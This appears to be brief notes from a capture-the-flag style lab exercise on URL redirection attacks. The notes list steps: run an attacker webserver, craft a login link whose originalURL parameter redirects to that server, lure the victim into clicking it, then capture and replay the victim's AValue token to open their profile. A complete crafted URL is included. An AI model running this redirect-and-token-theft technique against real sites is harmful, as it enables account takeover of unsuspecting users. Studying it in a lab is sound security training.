2320_url_redirection

start the webserver of the hacker
adjust pay url to redirect to the webserver (http vs https and webserver ip vs glocken.hacking-lab.com)
influence victim to access the modified link https://glocken.hacking-lab.com/12001/url_case4/auth_url4/login?originalURL=http%253A%252F%252F10.201.3.86%252F12001%252Furl_case4%252Furl4%252Fcontroller%253Faction%253Dpay%2526AValue%253DZnV3pF3xerC7xTWfykp7tf%253D%253D
victim requests path /12001/url_case4/url4/controller?action=pay&AValue=y9TxufU7jiIZeGWfdYDxRw== from the webserver
extract the AValue from this path to use it to access the account of the victim, e.g. the profile via https://glocken.hacking-lab.com/12001/url_case4/url4/controller?action=profile&AValue=y9TxufU7jiIZeGWfdYDxRw==

2320 Web Security: URL Redirection Attack